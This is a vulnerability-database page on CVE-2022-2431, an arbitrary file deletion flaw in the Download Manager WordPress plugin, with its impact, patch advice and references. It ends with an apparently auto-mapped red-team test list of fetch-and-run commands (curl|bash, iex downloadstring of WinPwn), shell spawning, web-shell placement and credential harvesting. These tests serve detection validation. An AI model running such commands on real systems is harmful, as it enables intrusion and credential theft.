CVE-2022-2431
Overview
This vulnerability is an arbitrary file deletion flaw caused by insufficient validation of file types and file paths within the deleteFiles() function located in ~/Admin/Menu/Packages.php of the Download Manager WordPress plugin. The flaw occurs during the deletion process of a download post, where the function improperly processes the 'file[files]' parameter, enabling unauthorized file path manipulation. The affected component is the Download Manager plugin versions up to and including 3.2.50.
Vulnerability Description
The Download Manager plugin for WordPress is vulnerable to arbitrary file deletion in versions up to, and including 3.2.50. This is due to insufficient file type and path validation on the deleteFiles() function found in the ~/Admin/Menu/Packages.php file that triggers upon download post deletion. This makes it possible for contributor level users and above to supply an arbitrary file path via the 'file[files]' parameter when creating a download post and once the user deletes the post the supplied arbitrary file will be deleted. This can be used by attackers to delete the /wp-config.php file which will reset the installation and make it possible for an attacker to achieve remote code execution on the server.
Impact
An attacker with contributor-level privileges can exploit this vulnerability to delete arbitrary files on the server by manipulating the file path parameter, including critical files such as /wp-config.php. This deletion can reset the WordPress installation and enable further compromise, including remote code execution. The attack requires authenticated access with contributor or higher privileges and no user interaction beyond post creation and deletion. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network attack with low complexity and privileges required.
Solution
Users should upgrade the Download Manager WordPress plugin to a version later than 3.2.50 where this vulnerability is patched. The Wordfence advisory and WordPress plugin repository changelog provide detailed patch information. No specific workaround is documented; applying the official update from the plugin source is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Download Manager plugin for WordPress arises from inadequate validation of file types and paths within the deleteFiles() function. This flaw allows users with contributor-level access and above to manipulate the 'file[files]' parameter when creating a download post. Specifically, an attacker can craft a malicious input that specifies an arbitrary file path. When the associated download post is deleted, the system executes the deleteFiles() function, which does not properly sanitize the input, leading to the deletion of files outside the intended scope. This oversight can result in the removal of critical files, such as the wp-config.php file, which is essential for the WordPress installation. The implications of this vulnerability are significant, as it opens the door for further exploitation, including potential remote code execution on the server.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with contributor privileges can create a download post and include a crafted file path that points to sensitive files on the server. Once the post is deleted, the server executes the deletion command, removing the specified file. This could be executed in a multi-step attack where the attacker first gains contributor access, perhaps through social engineering or exploiting another vulnerability, and then leverages this flaw to escalate their privileges or disrupt the server’s functionality. The ability to delete critical configuration files not only compromises the integrity of the WordPress installation but also provides an opportunity for attackers to gain further access to the system, potentially leading to a complete takeover.
The real-world impact of this vulnerability can be severe for businesses relying on WordPress for their web presence. The deletion of critical files can lead to downtime, loss of data, and significant recovery costs. Additionally, if an attacker successfully exploits this vulnerability to achieve remote code execution, they could deploy malware, steal sensitive information, or use the compromised server for further attacks, such as launching Distributed Denial of Service (DDoS) attacks. The reputational damage from such incidents can be long-lasting, affecting customer trust and potentially leading to financial losses. Organizations must recognize that the risk associated with this vulnerability extends beyond immediate technical implications; it encompasses broader business risks that can affect operational continuity and stakeholder confidence.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Download Manager plugin to the latest version is crucial, as software vendors typically release patches to address known vulnerabilities. Additionally, organizations should conduct routine security audits and vulnerability assessments to identify and remediate potential weaknesses in their WordPress installations. Employing a web application firewall (WAF) can help filter out malicious requests and provide an additional layer of security. Furthermore, restricting user permissions based on the principle of least privilege can minimize the risk of exploitation by limiting access to only those users who require it for their roles. Monitoring logs for unusual activities, such as unauthorized file deletions or access attempts, can also aid in early detection of potential exploitation attempts.
In conclusion, the vulnerability in the Download Manager plugin for WordPress poses a significant threat to the security and integrity of web applications using this software. The combination of inadequate input validation and the potential for arbitrary file deletion creates a pathway for attackers to disrupt operations and compromise sensitive data. Organizations must remain vigilant, implementing proactive measures to secure their WordPress environments and mitigate the risks associated with this and similar vulnerabilities. By prioritizing security best practices, businesses can better protect themselves against the evolving landscape of cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
W3eden | Download Manager | All |
cpe:2.3:a:w3eden:download_manager:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-2431 |
| plugins.trac.wordpress.org |
GitHub CVE
x_refsource_MISC
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2762092%40download-manager&new=2762092%40download-manager&sfp_email=&sfph_mail= |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
https://packetstormsecurity.com/files/167920/wpdownloadmanager3250-filedelete.txt |
| wordfence.com |
GitHub CVE
x_refsource_MISC
|
https://www.wordfence.com/blog/2022/08/high-severity-vulnerability-patched-in-download-manager-plugin/ |